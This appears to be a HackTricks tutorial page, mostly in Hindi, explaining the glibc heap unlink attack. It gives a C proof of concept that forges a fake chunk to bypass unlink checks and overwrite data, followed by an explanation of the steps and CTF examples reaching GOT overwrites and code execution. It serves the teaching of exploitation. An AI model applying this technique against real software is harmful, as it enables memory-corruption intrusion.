Unlink Attack

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

जब यह हमला खोजा गया था, तो इसने ज्यादातर WWW (Write What Where) की अनुमति दी, हालाँकि, कुछ जांचें जोड़ी गईं जिससे हमले के नए संस्करण को अधिक दिलचस्प, अधिक जटिल और व्यर्थ बना दिया गया।

Code Example:

Code

```c #include #include #include #include

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };

int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];

// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0; }

</details>

* हमला तब काम नहीं करता जब tcaches का उपयोग किया जाता है (2.26 के बाद)

### लक्ष्य

यह हमला **एक चंक के लिए एक पॉइंटर को अपने से 3 पते पहले इंगित करने की अनुमति देता है**। यदि यह नया स्थान (जहां पॉइंटर स्थित था) दिलचस्प चीजें रखता है, जैसे अन्य नियंत्रित आवंटन / स्टैक..., तो इसे पढ़ना/ओवरराइट करना संभव है जिससे बड़ा नुकसान हो सकता है।

* यदि यह पॉइंटर स्टैक में स्थित था, क्योंकि यह अब अपने से 3 पते पहले इंगित कर रहा है और उपयोगकर्ता इसे पढ़ और संशोधित कर सकता है, तो यह स्टैक से संवेदनशील जानकारी लीक करने या यहां तक कि रिटर्न पते को संशोधित करने (शायद) की अनुमति देगा बिना कैनरी को छुए।
* CTF उदाहरणों के अनुसार, यह पॉइंटर अन्य आवंटनों के लिए पॉइंटर्स के एक एरे में स्थित है, इसलिए, इसे 3 पते पहले इंगित करने और इसे पढ़ने और लिखने में सक्षम होने के कारण, यह अन्य पॉइंटर्स को अन्य पते पर इंगित करने के लिए संभव है।\
चूंकि उपयोगकर्ता अन्य आवंटनों को भी पढ़/लिख सकता है, वह जानकारी लीक कर सकता है या मनमाने स्थानों (जैसे GOT में) में नए पते को ओवरराइट कर सकता है।

### आवश्यकताएँ

* कुछ नियंत्रण एक मेमोरी (जैसे स्टैक) में कुछ विशेषताओं को मान देने के लिए कुछ चंक्स बनाने के लिए।
* नकली चंक के पॉइंटर्स को सेट करने के लिए स्टैक लीक।

### हमला

* कुछ चंक्स हैं (chunk1 और chunk2)
* हमलावर chunk1 की सामग्री और chunk2 के हेडर को नियंत्रित करता है।
* chunk1 में हमलावर एक नकली चंक की संरचना बनाता है:
* सुरक्षा को बायपास करने के लिए वह सुनिश्चित करता है कि `size` फ़ील्ड सही है ताकि त्रुटि से बचा जा सके: `corrupted size vs. prev_size while consolidating`
* और नकली चंक के `fd` और `bk` फ़ील्ड chunk1 पॉइंटर के संग्रहीत स्थान पर -3 और -2 के ऑफसेट के साथ इंगित कर रहे हैं ताकि `fake_chunk->fd->bk` और `fake_chunk->bk->fd` मेमोरी (स्टैक) में उस स्थान को इंगित करें जहां असली chunk1 पता स्थित है:

<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

* chunk2 के हेडर को संशोधित किया जाता है ताकि यह संकेत मिले कि पिछले चंक का उपयोग नहीं किया गया है और कि आकार नकली चंक का आकार है।
* जब दूसरा चंक मुक्त किया जाता है तो यह नकली चंक अनलिंक हो जाता है:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* पहले यह सुनिश्चित किया गया था कि `fake_chunk->fd->bk` और `fake_chunk->bk->fd` एक ही स्थान (स्टैक में जहां `chunk1` संग्रहीत था, इसलिए यह एक मान्य लिंक्ड लिस्ट थी) को इंगित कर रहे थे। चूंकि **दोनों एक ही स्थान को इंगित कर रहे हैं**, केवल अंतिम (`fake_chunk->bk->fd = fake_chunk->fd`) **प्रभाव** डालेगा।
* यह **स्टैक में chunk1 के लिए पॉइंटर को उस पते (या बाइट्स) को ओवरराइट करेगा जो स्टैक में 3 पते पहले संग्रहीत है**।
* इसलिए, यदि एक हमलावर chunk1 की सामग्री को फिर से नियंत्रित कर सकता है, तो वह **स्टैक के अंदर लिखने में सक्षम होगा** जिससे वह संभावित रूप से रिटर्न पते को ओवरराइट कर सकेगा, कैनरी को छोड़कर और स्थानीय चर के मान और बिंदुओं को संशोधित कर सकेगा। यहां तक कि स्टैक में संग्रहीत chunk1 के पते को एक अलग स्थान पर संशोधित कर सकेगा जहां यदि हमलावर फिर से chunk1 की सामग्री को नियंत्रित कर सके तो वह कहीं भी लिख सकेगा।
* ध्यान दें कि यह संभव था क्योंकि **पते स्टैक में संग्रहीत होते हैं**। जोखिम और शोषण इस पर निर्भर कर सकता है कि **नकली चंक के पते कहां संग्रहीत हैं**।

<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

## संदर्भ

* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* हालांकि CTF में एक अनलिंक हमला ढूंढना अजीब होगा, यहां कुछ लेख हैं जहां इस हमले का उपयोग किया गया था:
* CTF उदाहरण: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* इस उदाहरण में, स्टैक के बजाय malloc'ed पते का एक एरे है। अनलिंक हमला यहां एक चंक आवंटित करने के लिए किया जाता है, इसलिए malloc'ed पते के एरे के पॉइंटर्स को नियंत्रित करने में सक्षम होना। फिर, एक और कार्यक्षमता है जो इन पते में चंक्स की सामग्री को संशोधित करने की अनुमति देती है, जो GOT के पते को इंगित करने, कार्य फ़ंक्शन के पते को संशोधित करने, लीक और RCE प्राप्त करने की अनुमति देती है।
* एक और CTF उदाहरण: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* पिछले उदाहरण की तरह, आवंटनों के पते का एक एरे है। एक अनलिंक हमला किया जा सकता है ताकि पहले आवंटन के पते को एरे शुरू होने से कुछ स्थान पहले इंगित किया जा सके और इस आवंटन को नए स्थान पर ओवरराइट किया जा सके। इसलिए, यह अन्य आवंटनों के पॉइंटर्स को GOT के atoi की ओर इंगित करने के लिए ओवरराइट करना संभव है, इसे लीक प्राप्त करने के लिए प्रिंट करें, और फिर atoi GOT को एक गेजेट के पते के साथ ओवरराइट करें।
* CTF उदाहरण जिसमें कस्टम malloc और free फ़ंक्शन हैं जो अनलिंक हमले के समान एक कमजोरियों का दुरुपयोग करते हैं: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* एक ओवरफ्लो है जो कस्टम malloc के FD और BK पॉइंटर्स को नियंत्रित करने की अनुमति देता है जो (कस्टम) मुक्त किए जाएंगे। इसके अलावा, हीप में exec बिट है, इसलिए एक हीप पता लीक करना और GOT से एक फ़ंक्शन को एक हीप चंक की ओर इंगित करना संभव है जिसमें निष्पादन के लिए एक शेलकोड है।

<div data-gb-custom-block data-tag="hint" data-style='success'>

Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

</div>